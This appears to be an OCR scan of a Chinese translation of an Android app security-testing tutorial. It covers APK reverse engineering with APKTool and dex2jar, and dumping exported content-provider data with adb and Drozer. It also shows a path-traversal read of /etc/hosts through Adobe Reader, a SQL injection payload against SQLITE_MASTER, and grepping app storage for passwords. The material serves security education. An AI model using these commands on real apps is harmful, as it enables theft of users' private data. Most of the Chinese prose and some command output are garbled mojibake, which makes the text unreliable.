7. —ERETRE KA B HRMNGENE 5 RNAIR L EGRE o ROFEA AT
PLE A kAE A http-proxy LA :

emulator -avd [name of the avd] -http-proxy 127.0.0.1:8080

EAVT AL T @698 B F A& Bl o & fTIE A

a8 .__1.}-:"-._1' nl_ |:I1lll-|1'

Fk o #4140 E T Burp REFBINE » SHAAGEIEATAAE 2l Burp o £
o A fe i 4R A SSL 8 B sk B T 48 A W 5] 198 0 KAV LG @ 8 P A A Sk A o

APKTool

Android # @) ZAE PR T£ 6 L AL Z —& APKTool ° &4 if &) 5 = 7 #= 3% 4 49 —# %] Android
AR MEIT e BALERZENERAREZT PO E IR EEREIHTOTELEZ — -
A T 4618 A APKTool » 5 ATAT 3

1. AT T # APKTool » &A1 % &%

9] https://code.google.com/p/android-apktool/downloads/1list °

HERXE s EMNEFEZTHEAANLH ¢ apktooll.s.3.tar.bzz * & F 8,4 apktool =3 4T
o B =X ETFE - 22 Windows * Mac OS X i£ & Linux °

2. — 2T HAERELK > ETEFH > K112 F 2% APKTool Fie | KGRI TF - b
9h > mAFI%E APKTool % E AT F » RA B LE L EE /usr/bin F o REERNT
VAN AT 89 258 24T APKTool » 1% T o 69 &, B Z A4 :



adityagupta ot MathBoock Pro in

$ apktool -h

Apktool v1.4.3 - a tool for reengineering Android apk files
Copyright 2018 Ryszard Wi?niewski <brut.alll@®gmail.com-

Apache License 2.8 (http://www.apache.org/licenses/LICENSE-2.8)

Usage: apktool [-ql--quiet OR -v|--verbose] COMMAND [...]

COMMANDs are:

d[ecode] [OPTS] <file.apks [<dirs]
Decode <file.apks> to <dirs.

OPTS:

-8, --NO-src
Do not decode sources.

-r, =-no-res
Do not decode resources.

-d, --debug
Decode in debug mode. Check project page for more info.

-f, --force

Force delete destination directory.

B4k

N

EARFEF > £411£ A Android SDK » ADB » APKTool #= Burp Suite 2 2 7 Android #% & X
IR3E o X &A Android B EMNRE R ZRBYREZHIL -

ET—%F » AW 2T 4ol & fe F i+ Android &2 FIAZF o RN EFE M — TR > 4o
APKTool * dex2jar » jd-gui f# — &A1 B T oG S4T00 R4 -



# =% Android & A 3% &) Fe F 1t

fE4 . Aditya Gupta
FH L RA
WL 0 CC BY-NC-SA 4.0

FERFEF > 41 54 Android & A A5 X .apk XHF > H T BRELRE 69484 o RA1EIK4E
Jl ZE (4= Apktool * dex2jar #= jd-gui) ki@ ARG o KMNKE#—F 2 T LiE G
Fo A7 R AXAG 5k F 3% Android & R AZF F 8 & AR R o RATZAGAE A — ¥ A 5 T B Al
Rk B FR AR CAT o

3.1 Android & F 42 )5 ¥ /&

Android 5 A #2 /)5 & f2 FF & 5 R AR )T 0 8 22 69 3048 A TR SUAR A Y2 A% STHF o Android A A2 5
MY LA apk P TERRARFE s ERSZBEHELT QLU T I £

® Classes.dex ()

® AndroidManifest.xml (L)
® META-INF (LHF%)

® resources.arsc (X )

* res (LX)

® assets (XLHk)

* 1lib (XHk)

A TEHIERX— 8 BTG AT ERE L RARZSF (4= 7zip » WINRAR SAEAT & i 2
RAF) fEARE% L AFE o £ Linux 3 Mac L > RATT AR £34E A unzip /4 k&
TR LG AR de T @ E TR


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

$ unzip -1 simple_game.apk
Archive: simple_game.apk
Length Date Time Name
6844 12-01-2013 21:27 classes.dex
3588 12-01-2013 21:27 AndroidManifest.xml
@ 12-01-2013 21:27 res/
@ 12-01-2013 21:27 res/drawable-mdpi/
3079 12-01-2013 21:27 res/drawable-mdpi/icon.png
@ 12-01-2013 21:27 res/layout/
700 12-01-2013 21:27 res/layout/main.xml
1104 12-01-2013 21:27 resources.arsc
® 12-01-2013 21:27 META-INF/
379 12-01-2013 21:27 META-INF/MANIFEST.MF
421 12-01-2013 21:27 META-INF/SIGNFILE.SF
1225 12-01-2013 21:27 META-INF/SIGNFILE.RSA

17340 12 files

RE o &AMEA -1 (list) & > ABEHEHETEHELHANE > R LR o FAE
VAL file R EFCRER—NAKXEE S

$ file simple_game.apk
simple_game.apk: Zip archive data, at least v2.@ to extract

Android & 425 o B AP A 4 s 0 EA1— AR T TR AL o XMW EEH » R
5o T RBRERKE AZHBERI LT ERR o AHEIAT > kRN ERIATE —TILELE
AiR

o E# (Activity) : ZRBEREA P TUEIXLGTAN@ o LLTAEIERE - B
1% 0 Textview FALATHMLT AL o

e k% (Service) : X Android A£G G T FHATFRARBEOHFEIES - X
BAE LT AAIEN HTTP TR LR £ G EHBAFT RGEMAR o

o J #3M%E (Broadcast Receiver) : iZ ;& Android & AR5 T 694K E » @
AMmm?%&u%?ﬁﬁ%ﬁ%FmﬁE’M%%A%f%ﬁ%O*EEM&&ﬁf%
H B SR ARIE TR T L) AR R AF T AHE o ZHT LA KE SMS > kordw > g

o XZ WP (Shared Preference) : & AAZFAE AR EHF LA » RN 2 AR/ EE D
IR o WHIE B L ) shared_prefs BIUAFE P o X® P FHIFEETAEIE LA
3o Bl RPN PRI FEREE FREVNELEFZTARATABHRELE BAE
17T &8 5 2 348 55 B An M R B9 %ok ©

o ZA (Intent) : XLAHATHAARS AT F 9 Android AHFFE £ —A2 o ZE T KA
AT HATEAIES > Blde B Stk > i EFHF B RS o

o AZEAME % (Content Provider) : X384k M T 5 Bl A AL 548 69 M ALEEE £ - &
FAAL T VA A B4 £ 35 Bl A= 514 B T 69 3038 R A5 654 F AP 694598 -



M e K148 T Android & A N EH » AR R ARFGARF X » BA1T A S5 G
Android & A #25 o B EATRA apk XAHFE » X2 RAF T 35 69 IR AXAD Fo A SAB TR 69 77 X, o

3.2 i# %) Android &~ F

e ZATAT @t 89 0 Android &2 A A2 )5 A & — AR S TR A )2 A AHE o BpAE AR 0 RATR
B EMMBE 42 A ( Lapk ) RFEAF TR o xF TRREFI » RATL AR T4
F9 XA (4o ff classes.dex T ) AT HBRRGGLTL

W F VR TR — &k ZEA—NEH dex2ar 89 T B o .dex X AW
Java F ¥ i 55 # 6y Dalvik F 745 » At B0 FEMAP Ha o ARG TEA LK
Android & A A2)7 P G0 dex X AFEER A AR 8 jar XHF o HEEAT T

1. M nhttps://code.google.com/p/dex2jar/ T # dex2jar L& o
2. RAEBMNTE R CREBEFENG R AT dex XHF > F4E#- A ar X o

3. At HANEFRMEE » B34 SR T IH 7 F] dexar ATE B TR o Tk 0 KA
& HIE4T d2j-dex2jar.bat XM (/£ Windows L) 2 d2j-dex2jar.sh XH (4& Linux/
Mac ) » HRE G MALF L A BAEA 54 e BENARKT > ROT AR L3048
A apk XM RAKMNEEZTABELS .apk XH > KRB E# classes.dex X &=
& 89 2, B AT R

Z:\Desktop\dex2jar-08.8.9.9>d2j-dex2jar.bat "Z:\Desktop\helloworld.apk"
dex2jar Z:\Desktop\helloworld.apk -»> helloworld-dex2jar.jar

Ehe HAE LEBRRA A G > dex2jar TERA I L AT dex X5 A 4
A helloworld-dex2jar.jar 8 .jar XHF o I » RATTALAEST Java BB EF S (&
JD-GUI) F477F jar XA > JD-GUI T A E B 7 M3t http://jd.benow.ca’/ T 3% ©

4, —E XA T HRHARE ID-GUI » BRAVIAETABRLEITHAE o EAARARGETOOHEEF :



% =& Android & 8 1% &)= F It

File Edit Mavigate Search Help
S AR K

5. ERXE » AIMAT AT FATHFFH P 45469 jar L H 54 JD-GUI FE9ATA
Java BARAG o A TATH jar XA 0 RATT AR £ 315 9] File | open °©

File Ede Mevigate Search Help
= A
M-dﬂljlqu o

package coE.aditya.Bellowssld:

# impoTt android.spp.Rotivityr

public class MySispleGame
extends Activity
[
private boolean isMyServiceRunming()
i
Ivesator locallteratas = [(RctivityMassger)geriyateslervics | “sctivity®)) .pechunninglesvices (2147
if ['locellveravor.sasWexcil} {}
for {boolean bool = false:: bool = trae)
I
return boal:
if {!"com.sditye.Belloworld.syeervice™ equals | { {ActivityManager. RusningService Into) lecallterat
Break
1
|
1

public void GECERRBEISandle parasBundle)
{
wumer, SHCTEAEE inaranBundle) 1

L4

EEMERKF » KAVT A E Java 2 A58 Java BRAREGFA 7k o HEE > EHRIF
AL A RRARE Java R B MR A o ZAEK S EAFLT R X FE; 1258 » R 2F
AT RTRAFBHHREY Gar XH TS ELRD o pbobs R ARFFLARLA
— ek R %R RAP 0 4o proguard Fo dex2jar @ % &A1 A dex2jar 2 Apktool & % s A
AP > RAVR & A Bk o 09 B ARAD; AR > KAV A B 3R R R > ZRRRERA
8 B B R o

3.3 12/ Apktool i# v Android /.

31



5 —Abif &) Android iz FI A2 5 69 77 ik & ¥ dex AR A smali XA o smali & — A L
AN HEBXG4% Jasmine 89353 £ o KATAAETLEANT B smali THBEX - FXES
12 B » 1% % M 42 & wiki https://code.google.com/p/smali/wiki/ * VAMRIEAN T ## smali o

— B &A1 & Apktool H B E € > & RAT @ F V4T 0 RAVAMT T R—FRE - 5
JD-GUI 48+t » Apktool #) £ Z4E A& ARG #) o X kA o RARK hiF— A A AL H 15
e > ARBEEMA Apktool EHRIFE > CRRAZETHRF 0 FER— DI apk TH o K
7 » dex2jar A7 JD-GUI KA XM 4L » B A CRBE L MR > o L& A6 R o

F 3k > A T41% A Apktool R %k s RA2 )5 » KAV & M9 E » 35 apk X5 Apktool =3
] AR —RAe At @ b 4T o — B R %R iF TR > Apktool H 4% A 5 R AR 4 A6 5 — AN F 69 U
k> —P:-“P/ﬁ\f?ﬁ%ﬁ)fﬁéﬁ X o AT RGIF &ﬂ‘]ﬂﬁ%iﬁﬂﬂ apktool d [app-name].apk ° X
2o d mERTRRBF o

HEATRFZBBT » BT LA 212 A Apktool # AT R ikt AA25 :

: at in
% apktool d catch.apk

I: Baksmaling...

I: Loading resource table...

I: Loaded.

I: Loading resource table from file: /Users/adityagupta/apktool/framework/1.apk
I: Loaded,

I: Decoding file-resources...

I: Decoding values*/* XMLs...

I: Done.

I: Copying assets and libs...

A > de R HRATE N smali T £ » KA1 A 23R F 89 smali T > B &2 L2 A4
it B 69 Java REGKRAG o £ E > EATE T AT F—AUHF » B — %4 > 5148 A
Apktool A RAMHEE ° A T I smali B E— A Ay 425 » £A14512 A Apktool F

# b (build) & °

apktool b [decompiled folder name] [target-app-name].apk

2% AT R%E R EHpFRLRARTF > KOARDEA F —4% A Virtuous Ten
Studio (VTS) 8 LA o XM T RRBEE Apktool £ Zh4E » "E— 8GR 5| & VTS 324 7 —
ANEROBRYRG AR SR o T AE—RHZ > €2 & Windows 3% T iE
1T o BAVTVAINE 7 T BRAEHE http://www.virtuous-ten-studio.com/ F# VTS o AT Z R %iF
Fl—3 B 89 R AR50 B %8B A



o rewie Lrgrosd ok Bungie 1

% 1+ Android = F

Android 2 AR Rl E 8T 5 ZARF » K% HEHELT G TIHRAR G4 ER AR LR
B o EARF P A1 148 E T Android & A A2 5 69 /IR 0 VA B de TR Hl FeF) H AT o
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WERARFAEANERE S R G ARG P ORIERKE BEGKIE - BIETE
LT A BARBEE ST v AR R 35 ] o & WIAEAT Hfb sz B AT T vAA% R B2 BT 8 LB A A
K& o kip A R ERIE o TANER R & BEAE— L — TRAZRA (URI) ARAR A
Fa il o A EREE URI 894 % A7 B LA content:// FH¥s o

42 Android APl R A& T 17 » MA R B INBERZBL T E o TERERIFARA
R AR T AR > G WAEAT 2 AR A T e R R AR 89 MR 3 0 k17 R An 2194038 - AT
AREBE BEE Z /A AndroidManifest.xml PIiEM o E b o KA At & JH A2 518
Apktool » #3i8id £ & AndroidManifest.xml XHERERNEZMHEL E o

XA BB B — T Ede TAw

<provider
android:name="com.test.example.DataProvider"
android:authorities ="com.test.example.DataProvider">
</provider>

Fr VAL » BAVE R —ANRE R R AR B 6946] F » 3 &R A) B A a4t 2 B R RRE

1. AT RmERRARZF » £419%1% A Apktool k1% ] apktool d [appname].apk R % ¥ 5 Al
)T o

2. ATERINAZHEE S » AT AR 2HEH T L ENTH AndroidManifest.xml XA » R F
BAVTVAAE R — A 269 grep 4 MR ARFREFHRBAZEL S » o TH T :



% == Android & A 8% &A= % it

wprovider ondroid:nome=".NotePadProvider” androdd:outhorities="con. threcbonana. notes . provider. NotePoad” /=
sprovider android:nome=". NotePadPendingProvider” android:euthorities="com, threebanona. notes. provider  NotePodPending” /»

3. BATT ML grep 4R ERANERMEE > £ grep -R 'content://' ° SR
MR AP ERA TG B L EDL R o

[ grep -R "content:/ST .

. MotePadtMadin, anali: const-string v, “comtent com, threcbhanana, noted . provider. NotePsd/media™

. MotePad$Media. smalis const=-string v@, t://com, threebanana. notes . provider, NotePad/media_api_id"

. MotePadtMedia, snalis const-string vo, L/ fcom, threebansna, notes. provider, NotePsd /medis_silent_delete"

. MotePadtMeadia, snalis const-string vR, f l:l:ln.I!hreebwnn.nqt::.nmuidcr.MtcPad.fpumﬁt_mte_uf_ucdj,n"

. Matefadiedia. smalis const-string v@, t://com, threebanana. notes . provider. NotePad /media_with_owner"

. MotePadgiadia, snalis const-string va, !/eom, thresbanana, notes, provider. NotePad/ insges_for_nate™

« MatePadiMed lalotes . snali: const-string v8, “coatent: ! com, threebgrana, notes. provider, NotePad/media_notes"

. MotePadiiotes, snalis const-string v@, “content://com, thresbanana. notes. provider. NotePad/ topnotes™

. MatePadsiotes, snalis const-string v, “content://com, thresbanana, notes,provider.NotePad/notes™

\ MotePadiNotes. snalis const=string v@, “content://com, threebanana. notes. provider.NotePad/notes_show_deleted™

. MotePadthotes., saalis const-string v, ™ 1/ /com, threebanana, noTes. provider, NotePsd/notes_silent”

. MMotePadShotes . snalis const-string v@, ™ ‘com, threebanana. notes. provider.NotePad/notes_silent_delete"
-

o

. MatePadiiotes. smalis const-string v@, t1//com, threebanana, notes . provider. NotePad/notes_node Ld™

ent://com, thresbanana, notes., provider, NotePad/notes_nodeid_silent”
t1//com, threebanana. notes . provider. NotePad/notes_nodeid_silent_delete"

. MatePadiNotes. sealls const-string v@, " £/ /com, thresbanana. notes . provider, NotePad/notes_with_images™

. MotePadtioted, anali: const-string v@, “content://com. thresbanans.noles.provider.NotePad/add_medis_for_nate™

. MotePadiotes. snalis const-string v, “content://com, threebanana. ROTeE, nrander NotePad/add_media_for_rote_silent™

. MotePad. smali:. field public static filul SCHEME: Ljava/ lang/String; = “conten

. /MotePad. smali: const-string w8, "coatamt cnﬂ thmhnnuna notes, nrw:der h:tEFnd.Mipe'

\ MatePodPend ingiMaotes. ssali: mstnstrmﬂ v, "content://com, threebanana. notes. provider.MotefodPending/notes"

. MMatePadPend ingiMates. ssali: const-string ve, "--.-.-1-.~-.| feom, threehanana. notes., provider.NatePadPending/notes_nodeid"

s MotePadPend ing$Motes. snalis const-string v, "comtent://com, threebanana. notes. provider.MotefadPend ing/notes _nodeid parent™

4, i BNEBRMESFZRKE ARG o ATHEONEEEEFAURFELTH LG » &
1% &£ Android % & IR E FRE G ARG o AT RE » RAVFLEEE LR
ﬁ%%li%ﬁﬁ app.apk TAF -

. MotePadhates.smali:  const-string vo,
\ MotePadiNotes.snali:  const-string @,

$ adb install vulnerable-app.apk
1869 KB/s (603050 bytes in 0.315s)

pkg: /data/local/tmp/vulnerable-app.apk
Success

5. &AM TrAEY 3%%*‘4‘15’&11‘4%177} Reg o RAZFREQASHEL S » RBE &9 RFL
RAZFORBEH/REE o AT RERFEL » RATZTAEA adb EWABTHE E > KA
WuEuTﬁé?ﬁﬁ

adb shell content query - - uri [URI of the content provider]

ATAERRARRARE LTS B RERT AR AT b 62

§ adb shell content query --uri content://com.threebanana.notes.provider.NotePad/notes

ow: 8@ reminder=@8, hashcodes=, child_count=8, altitude=0.8, sharekey=8, source_url=MULL, nodeid=-1, times
tampe-0544472081, _id=l, created=-954447201, longitude=8.8, parent_nodeide-1, api_pending_op=1, parent_idw
=1, accuracy_altitude=d.8, publicURLe, textsThis is a secret note, speede=d.d, labelss, photos, photo_revi
sion=@, depth=8, display_order=@, sharelURL=, accuracy_position=@.8, server_modified_at=8, sourcesNULL, ow
ner_ide=1, ownersMe, bearing=2.8, latitude=8.@, note_mode=, photo_thumbs=MULL, short_text=, photo_src=

AZE s KATETE A MWR £5 £ 8 % — A% A Drozer 89 T8 » vAME £ Android &
AR ¢ REB MR A EB S ERF o RATTUINE 5 H
sh https://labs.mwrinfosecurity.com/tools/drozer/ Tﬁ'ﬁf"ﬁt Drozer °

6. —EHZMNRET € » ZNFEHEAREAM agent.apk TEF| KAIEIE » €T TH
B zip XHH o BREZAGHREHELEN T o RNEEREBZRBHEIE
iR — ATyt a (31415 ) » UMEEITHEH o 24 Mac P EEMTFE Lg%

34



& > RAT A4z
i https://www.mwrinfosecurity.com/system/assets/559/original/mwri_drozer-users-guide_:

PRt LIS o

adityagupta at ] in
$ adtl install agent.apk
1518 KB/s (588116 bytes in ©0.378s)

pkg: /data/local/tmp/agent.apk
Success

jupta at in
5 adb fnrward tcp:31415 tcep: 31415

7. —B 7R BAVT AR FH e A42)F » F % H"Embedded Server (S AR E) "ST A o
MARE » £A1FE L@ H4Z% » &3 Drozer &2 425 » #Fid it £ K % A Disabled #9 £ £
Attt MRS o

drozer Server

Enabled @

Server Details
SSL Enabled
Password Protected
Enabled
Connected
Active Sessions

Messages
| Starting Server...
| Attempting to bind to port 31415...
|  Waiting for connections...

8. G » BN FH5 19 %%+ B 5 Drozer > A L EHIEMELE o Ak RNF2H
A drozer console connect ° %= F @&y & AT T :

$ drozer console connect
Selecting 49d936a45d38a293 (Genymotion Nexus 4 4.3)

9. X E » HATVTVAIEST app.provider.finduri ERXERIMANEZRLS » W TH = :



10.

11.

dz> run app.provider.finduri com.threebanana.notes

Scanning com.threebanana.notes..
content://com.threebanana.notes.provider.NotePad/notes
content://com.threebanana.notes.provider.NotePadPending/notes/
content://com.threebanana.notes.provider.NotePad/media
content://com.threebanana.notes.provider.NotePad/topnotes/
content://com.threebanana.notes.provider.NotePad/media_with_owner/
content://com.threebanana.notes.provider.NotePad/add_media_for_note
content://com.threebanana.notes.provider.NotePad/notes_show_deleted
content://com.threebanana.notes.provider.NotePad/notes_with_images/

—E#M1A T URI > &AL TAER Drozer 2 AARFEWE - ATEWE » KNEFR
4T app.provider.query £33k FFIE T AN BB Z 69 URI > 4o T @ 69 % B AT T

dz> run app.provider.query content://com.threebanana.notes.provider.NotePad/notes --vertical
reminder @
hashcodes
child_count @
altitude @
sharekey @
source_url nu
nodeid -1
timestamp 1386319089487
id 1
created 1386319989487
longitude @
parent_nodeid -1
api_pending_op 1
parent_id -1
accuracy_altitude @
publicURL

11

text This is a secret note

40

4o R Drozer #6495 &9 L7k A A BB 2 & 09538 - X ERA AT L EREKIEFAL
B2 HIR > B ) Drozer & A W # 3a% TA% R £ F AT AR o

ATHERRA  FRAREEZMGE  EARIBASHE ZHHFESL
%% android:exported = false ° BAVNE—BIHORIR > A=A AT LT FREE S Z

AL AERE o

3.5 1928y LA ff

BE > FRAR A A7 F 08 BAE R > RAG T SUAR B9 A4 SUARAR TR o 31X 36 UM B AR 12

A&R T % > AT b AEAT g m AAL T 15 1B f R Bk RAR o

ATHREZINRR > KAV E BB L7717 adb shell * LBAEM cd #
A /data/data/[package name of the app] °

Yo BB ZERAT—AE 69 15 -1 0 30T VAA Bl STAHA7 ST & 69 ST AR

# 1ls -1 /data/data/com.aditya.example/files/userinfo.xml

-rw-rw-rw- app_200 app_200 22034 2013-11-07 00:01 userinfo.xml

REEMT VLR find FAZ TR ©

find /data/data/ -perm [permissions value]



o F BATMAT cat userinfo.xml * CEA TERAGHA PR P LF0 B o

#grep 'password' /data/data/com.aditya.example/files/userinfo.xml
<password>mysecretpassword</password>

BEARAE LA AR FLTAEEF GIA P ONEETEE o TARYAA L A
7 B 48 OB A 8 SURFAR TR » AR —AeTH L 55 20 5 2k 69 30 D) R # L RIR o

A i85 KA LA 04 A

R &S AL P 6 3542 38 1 R R ALV Sk AR R R R s AL 6 B B3R A A 4
A o

LR R T g R AT AT 14669 T B Drozer #4744 o AR E > RATAB|FRHEHA G
Seafastian Guerrero % #.%5 Adobe Reader Android /= M #2 5 i iFl

( http://blog.seguesec.com/2012/09/path-traversal-vulnerability-on-adobe-reader-android-ap
) © sLikA A £ T Adobe Reader 10.3.1 F » F £ VAG 89 AT #AT T H54F o ART 1A
M http://androiddrawer.com T 3% 4% Android & F 425 69 & hg A o

#4144 & # Drozer » #3247 app.provider.finduri Kk ER AN EZHEEZ H URI -

dz> run app.provider.finduri com.adobe.reader
Scanning com.adobe.reader...
content://com.adobe.reader.fileprovider/
content://com.adobe.reader.fileprov

— 2 EZA&KE T URI > EATIA T VAE A app.provider.read & & FF1 A A4 &4 FKF o
AT REZENALT RI—E T > 4o /etc/hosts #7 /proc/cpuinfo * BATKINGET
BT & Android %1% » B A & ZKT Linux 89 3CH A4 o

dz> run app.provider.read content://com.adobe.reader.fileprovider/../../../../etc/host
s
127.0.0.1 localhost

Ede RAVE T @65 RBEA T A 36 > KA1 LR HAEA Adobe Reader FiF A &4t 5 £
BT Android TH A % F 89 ST o



Z= run app. prn\rid-er read content://com.adobe. reader.fileprovider/../../../../proc/cpuinfo

endor_id : Genuinelntel
pu family 1
del : 42
dal name : Intel{R) Core{TM) 15-2435M CPU @ 2.40GHz
tepping L
pu MHz : 2465.663
ache size : 6l44 KB
fdiv_bug ! no
lt_bug i no
feaf_bug : no
oma_bug 1 no
fpu ! yes
fpu_except fon i yes
puid level I
1 yes
flags fpu vme de pse tsc msr pae mce cxB apic sep mtrr pge mca cmov pat psed6 clflush mmx
rdtscp Im cnnsuut tsc up pni monitor sssed lahf_lm
gomips : 4931.32
Lflush size : b4
ache_alignment : 64
ddress sizes : 36 bits physical, 48 bits virtual

TP EIEANKEH
BP#AFRETRELER AR REER P WA o B4 > 23t SQLite 238 & 69 &4
B o mRARFELEBMAPEN RACIETEREGTP -

IERMNF— AN AR TH €k ERd SQLite B E » RRERE KRB RIEA P o
s BRI PREEA P LA FEEE > EABITHERE L THT !

SELECT * FROM 'users' where username='user-input-username' and password='user-input-pa
ssword'

WA EEFHRAT > ZFEF A AP WAL EENEZRIE A AL RIRET 544
B E true K false °

SELECT * FROM 'users' where username='aditya' and password='mysecretpass

{af o RAEFMASQLIBORMTREFTHRPL LERD? FHHAEZUTRA :

SELECT * FROM 'users' where username='1' or '1' = '1' - - and password='mysecretpasswo
rd

At > £ZXARFILT » BRI P R i@ R P oA 500 » AT AB LA 10r1'="1 £19K
BWGRe > REMAELTHARE true © Atk R ARFFRAR LM AL AR #
TS akhs > kieEHA PR -

K AVIE T vA4E A Drozer # app.provider.query &A1 SQL EXNFF o Bk AAe kB :

run app.provider.query [Content Provider URI] --projection "* FROM SQLITE_MASTER WHER
E type='table';- -"



A > XIGRE SQLite FABE T EA XM F| & » ©HI1E B AL SQLITE_MASTER T ° KL+
AR S HIATE 569 SQL &9 > R ARFRIRE 5 0915 8 o A T 12 Drozer 5 ¥R iF
FIR 2 AR VAIN https://www.mwrinfosecurity.com/products/drozer/community-edition/ T #k &
A1 69 iRz AL o

3.6 OWASP # 7 Top10

Web kA F 24 E (OWASP) 2 Rt kiR KOIREZ — o CELH T A
104 RRAHINE > AP OELEEHTFEFRT DRI TG RA -

ER2

¥ea https://www.owasp.org/index.php/Projects/OWASP_Mobile_ Security_Project_-_Top_Ten_Mobile_
E3KE] OWASP #3671 10 M6 o o REZATEH OWASP #3) B » AT & Eik &)
B AR 10 NRARA

o JR %% 5545 %

o A0 FIE B

o fEI BRI R

o FIMYERIE MR

o VAN

o T E

o FPIHIEN

o MIRTRAANLEERK
o TE#ERIELHE

o Rz — PRI

IERMNE—NBEN » BB TRECNESFHRARE PG L EZ > UBRKRMN AT AT

PR % 5, 55 3% 1

% —/~ OWASP RiR 2R 435 35485 » BG TS 0 IR 558 R ke a0 7 X 2038 A A5 50 2 A
AR R EB RS 0 RB AR AR IBEN R E LR APl o #lde » % & —A Android £ A
BEREFEEFRIEINRSERTHHRIE » M RBIER A o K HF T IR 6 7 A5 R R
TE > VARG FR 4 B 0B R R R B o HIRIR T LA 7 F 42 )7 A2 Web & R AZ 5 P #)

—ANRR e

T2 A 0 F R A7 b

B ERA » R RAAAXZEAR P Ti5 65 XEEE LB o %% Android & A2 5 &
A FZBHHA > SQLite (b LA X) I BEE T » GHGA P A XGREE LR AR
A% B o TR AT LGS Yt A 0 BPAE m R AR 18 303 U £ ( /data/data/package-name )



TG HRAT B 0 REF ML root 0 & FE R AAF/BEF T A FE o

%50 B R R R

% % Android 7F & A R A& T 38 i Rz a4 X 69 M 28k R £ 48 > Blde HTTP & A £ 52
M SSLAH X o RFFRALFHTHME LR AGHARR LM E > PR TEHE
MO AR5 @) IR 5 35 & 1% SR 3B B3R A A 2 0 VA RS 2ok R sk 18] e R AR T 0 4 T R 3R, o

BN BB R

SR ARFRBRIEGHERT HITXEFOLEN » 2 HIWRR o LT OET R
URL % # » #| % & Cookie * HTML5 patastorage * 4B o — A6l F 2 P B R 21k
MEGRAT R AR » M8 BB LR B A B TR o i » B4 2 % & o A5 AL 7T vA7 9]
R P 3 MEAR 6 5B o

kY AN E

4o R Android & AA2F X — R GG L AR FERR E S REREYGHFALT » 2REATEF
A BRI ERBAA P o MRy ARFREHZE K& o RREEFNL ) —EFNT
root* KZEEPHBRP TURKFHERT - Ak B ARFALARERAR S Z Y
R R A RATIE B9 E > — BBl Ry 0 HAR A MALE R B RE R A E & B
R P oo

o 3K o

BAAR R TR R R A B R R R RIBIS o BITROIE— LB ERFAGLE >
42 MD5 > SHA1 > RC2 > #£ 2R A A& S G2y TH Fik -

B P IEN

X f£ Android &2 A A2 )5 & A7) » T &8 A 21 H SQLite #ATHIEH L o KAV AL KB Y
A& P IATIEAL F o

8 R T AT A B 5 2R
ERBHE RS RN R B A AR A PR S A S S el R S0 AR
B AR b AR R A o REEEGMARE &3 808 MARF T 6 s o AL -

W B P SHIEN ©

OB #0216 2L



HEABH R ARFPATRERLER » FRARFELAER S A% > HldeiiE cookie 89 E 7 i
B AL > cookie £ R A 0 AR L EAE GG AE Tk o LM Web & F 42
A2 Android = B #2 )5 Z 8] 4i 4P sE AR B 2 AR F o

B2 =3 R

R ER A R AR b B R AR S AR B SRR i o # 4 Apktool = dex2jar X X &9 T AT
A Ti% % Android &2 A2 » e R EAA BB EAYF L LR > CREL AT Efe b
R o AT Brabif i @ siE ko A5 » - R AR T 4% A ProGuard #» DashO % T
Ao

/‘é‘ gg

FERZET » ZAVE A TAER &4 7 ik k45 Android &2 A7 3 AT RRAE o HMEZT T
e {15 PR ARED > KRG EH R FR AR » kT L ERY o sbsh > RAEAFE T ol A
Drozer % L £ F 4 Android & A A2 5 F 69 kiR o RE T A

i http://labs.securitycompass.com/exploit-me/ 3 B %X Exploit-Me £ % ¥ F 69 &4 KRR
¥ & Security Compass & °

ATFT—FF » £419% % —F 23X Android & A2 7 R EEZE » FE RN SFZ MR PERA

e o



jus N . < . - s> 8
%= 2t Android % &# TR E ST
fE4 . Aditya Gupta
FEH A
#1L : CC BY-NC-SA 4.0

ARFETF » KA1EF R Android REIMEARE > Ao F e ARFHATHRE - AF
AT AELMGHIEFRRHEZ L > ARAACESEMNREFRELHLEEZ—
b RAEFLBIAL T ZLYGMBMBPIATE N 2 E TG RS - At £
AEP 0 ZA1IK % T T2 84294 Android % & F » &R ARFHRE

4.1 Android & & &

&I OWASP # 3

T0p10 ( https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_M
) RREGEMBERY REZREM o L BR—ARARFAE HTTP R 2 69 %
KRABRILBNRE R o oA PALT ok JE S > H A ARIRR 405 T 246y A2
7o £ EAR? EARBRGFETRA P OENEZIRE > SABETRATEEAN o R
Rz AALSF BB HTTPS #AT 4%k » B HTTP 892t 3 » A B AF R PGS0
361k Cookie o &P HILT » b A WA B LA IAT P RAALEHEZBM B RRR S 5%
1E Cookie ° 1% il i £k iE cookie * T A BEAE A S E A P X F 5 2 AFF o

4.2 REGTH 7 A

FARATHE LT AR A 7 R 8 R W R A2 AT 7 % o AT #F % Android FR3E F =T AL #9 A
TR EH > AR LT B EHF FIATEN o WA ZH I 4T ¢

o WHHHM  RRE—FAREMN TR RPRARF R EGMBHIETLHIER - M
Koo RAVBZ R EPTHMGHEL » REEMBHHE (WwWireshark) FirA€ » &
J& ZRE M A7 P 8RR R oA A o

o ITFHHHM I EEHSMET 0 FEMNREK LHEBATA EL BT LA 0 H T LR
BT o RS IR o RE > FRRERE  FHdm ARG ERFERG TR
W% RE LA HENRE -

W T


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

WHAIMGBAE < HHHMSE LRENFR AT > LERARIEOIHESA « B
A& ZAVE A Android % & P AT FH AT o BAVIEFEA tepdump RIGPTH 8915 ARG B X &
F—AMLE o SbE 0 RAVIE R AL B KAT169 R 4 0 KB4 A Wireshark 3 Cocoa &, #7
REEC - HHEARTHE

1. &A1 Timur Alperovich 7 ™M 5& http://www.eecs.umich.edu/~timuralp/tcpdump-arm T #%
A ARM %5469 tepdump = H] U o e REANFZE > KITZET AT R tepdump 89745
—# A IR LR E (A Android 3 LR IER B =2 SR 0 4 Rk
#% http://machi®21.blogspot.jp/2011/03/compile-busybox-for-android.html ° %’fi%ﬁ‘ T
R X %% BusyBox * 1248 Bl 89 F F T vz 1T tepdump ) ©

—ERKAMTTHT tepdump > KA1 VA A KATR AT K69 =22 F] ERAT— DA 0 k
HINEZLE A ARM %iF o 55T Windows A P » 4R =T vl4E Al Cygwin kAT 4 o 4 i
KT ATHFEBREF T

at in
1- f:hr tcpdump-arm
tcpdump-arm: ELF 32-bit LSB executable, ARM, wversion 1 (5YSV), statically linked, stripped

2. LEHT—F AWK tcpdump = B TAHHEZ B R EF Y —AMMLE o RATE LM A > &
MEBZRERATIAF o Bk s RINFCHEZED] —MLE > BATT AT Z AR >
